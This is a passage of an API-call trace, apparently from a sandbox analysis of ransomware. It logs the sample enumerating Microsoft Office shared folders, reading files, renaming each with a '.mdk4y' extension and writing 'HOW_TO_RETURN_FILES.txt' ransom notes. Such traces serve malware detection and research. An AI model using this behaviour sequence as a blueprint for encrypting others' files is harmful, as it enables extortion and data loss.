QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819708200000) returned 1 [0121.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819708200000) returned 1 [0121.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.mdk4y")) returned 1 [0121.853] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.853] AreFileApisANSI () returned 1 [0121.853] GetACP () returned 0x4e4 [0121.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATERMAR.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WATERMAR.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0121.853] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819708400000) returned 1 [0121.854] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2ab, lpOverlapped=0x0) returned 1 [0121.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819708500000) returned 1 [0121.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819708500000) returned 1 [0121.856] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.mdk4y")) returned 1 [0121.857] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.857] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.857] AreFileApisANSI () returned 1 [0121.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0121.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.857] GetFileType (hFile=0x130) returned 0x1 [0121.858] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0121.858] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0121.858] AreFileApisANSI () returned 1 [0121.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0121.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0121.859] GetFileType (hFile=0x12c) returned 0x1 [0121.860] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0121.860] AreFileApisANSI () returned 1 [0121.860] GetACP () returned 0x4e4 [0121.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TRANSLAT", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TRANSLAT", lpUsedDefaultChar=0x37dfd8) returned 8 [0121.860] AreFileApisANSI () returned 1 [0121.860] GetACP () returned 0x4e4 [0121.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\֠j\x04") returned 56 [0121.886] AreFileApisANSI () returned 1 [0121.886] GetACP () returned 0x4e4 [0121.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0121.886] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.886] AreFileApisANSI () returned 1 [0121.886] GetACP () returned 0x4e4 [0121.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0121.886] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.886] AreFileApisANSI () returned 1 [0121.886] GetACP () returned 0x4e4 [0121.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ARFR", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ARFRFiles\\Microsoft Shared\\THEMES14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0121.886] AreFileApisANSI () returned 1 [0121.886] GetACP () returned 0x4e4 [0121.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\7㖙ĺ?") returned 61 [0121.887] AreFileApisANSI () returned 1 [0121.887] GetACP () returned 0x4e4 [0121.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0121.887] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.887] AreFileApisANSI () returned 1 [0121.887] GetACP () returned 0x4e4 [0121.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0121.887] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.887] AreFileApisANSI () returned 1 [0121.887] GetACP () returned 0x4e4 [0121.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1ARFR.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1ARFR.ITSfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0121.887] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819711700000) returned 1 [0121.887] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0121.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819718200000) returned 1 [0121.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819718200000) returned 1 [0121.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.mdk4y")) returned 1 [0121.974] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.974] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.974] AreFileApisANSI () returned 1 [0121.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0121.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.974] GetFileType (hFile=0x130) returned 0x1 [0121.975] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.975] AreFileApisANSI () returned 1 [0121.975] GetACP () returned 0x4e4 [0121.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENES", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENES", lpUsedDefaultChar=0x37df4c) returned 4 [0121.975] AreFileApisANSI () returned 1 [0121.975] GetACP () returned 0x4e4 [0121.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\j筰kƯ") returned 61 [0121.976] AreFileApisANSI () returned 1 [0121.976] GetACP () returned 0x4e4 [0121.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0121.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.976] AreFileApisANSI () returned 1 [0121.976] GetACP () returned 0x4e4 [0121.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0121.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.976] AreFileApisANSI () returned 1 [0121.976] GetACP () returned 0x4e4 [0121.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1ENES.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1ENES.ITSfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.976] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819720600000) returned 1 [0121.976] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xeed1e, lpOverlapped=0x0) returned 1 [0122.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819728200000) returned 1 [0122.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819728200000) returned 1 [0122.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.mdk4y")) returned 1 [0122.060] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0122.060] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0122.060] AreFileApisANSI () returned 1 [0122.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0122.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0122.061] GetFileType (hFile=0x130) returned 0x1 [0122.061] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0122.062] AreFileApisANSI () returned 1 [0122.062] GetACP () returned 0x4e4 [0122.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENFR", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ENFR", lpUsedDefaultChar=0x37df4c) returned 4 [0122.062] AreFileApisANSI () returned 1 [0122.062] GetACP () returned 0x4e4 [0122.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\j筰kƱ") returned 61 [0122.062] AreFileApisANSI () returned 1 [0122.062] GetACP () returned 0x4e4 [0122.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0122.062] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.062] AreFileApisANSI () returned 1 [0122.062] GetACP () returned 0x4e4 [0122.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0122.062] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.062] AreFileApisANSI () returned 1 [0122.062] GetACP () returned 0x4e4 [0122.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1ENFR.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1ENFR.ITSfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.062] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819729200000) returned 1 [0122.062] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe64da, lpOverlapped=0x0) returned 1 [0122.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819744100000) returned 1 [0122.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819744100000) returned 1 [0122.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.mdk4y")) returned 1 [0122.220] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0122.221] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0122.221] AreFileApisANSI () returned 1 [0122.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0122.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0122.221] GetFileType (hFile=0x130) returned 0x1 [0122.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0122.222] AreFileApisANSI () returned 1 [0122.222] GetACP () returned 0x4e4 [0122.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ESEN", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ESEN", lpUsedDefaultChar=0x37df4c) returned 4 [0122.222] AreFileApisANSI () returned 1 [0122.222] GetACP () returned 0x4e4 [0122.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\j筰kƳ") returned 61 [0122.222] AreFileApisANSI () returned 1 [0122.222] GetACP () returned 0x4e4 [0122.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0122.222] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.222] AreFileApisANSI () returned 1 [0122.222] GetACP () returned 0x4e4 [0122.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0122.222] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.222] AreFileApisANSI () returned 1 [0122.222] GetACP () returned 0x4e4 [0122.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1ESEN.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1ESEN.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.222] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819745300000) returned 1 [0122.223] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x38200, lpOverlapped=0x0) returned 1 [0122.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819762400000) returned 1 [0122.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819762400000) returned 1 [0122.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.mdk4y")) returned 1 [0122.397] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0122.397] AreFileApisANSI () returned 1 [0122.397] GetACP () returned 0x4e4 [0122.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSB1ESEN.ITS", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSB1ESEN.ITS", lpUsedDefaultChar=0x37dec0) returned 12 [0122.397] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0122.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819762700000) returned 1 [0122.397] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xff7f2, lpOverlapped=0x0) returned 1 [0122.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819772300000) returned 1 [0122.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819772300000) returned 1 [0122.556] MoveFileA (lpExistingFileName="C:\\Program Files\\Common 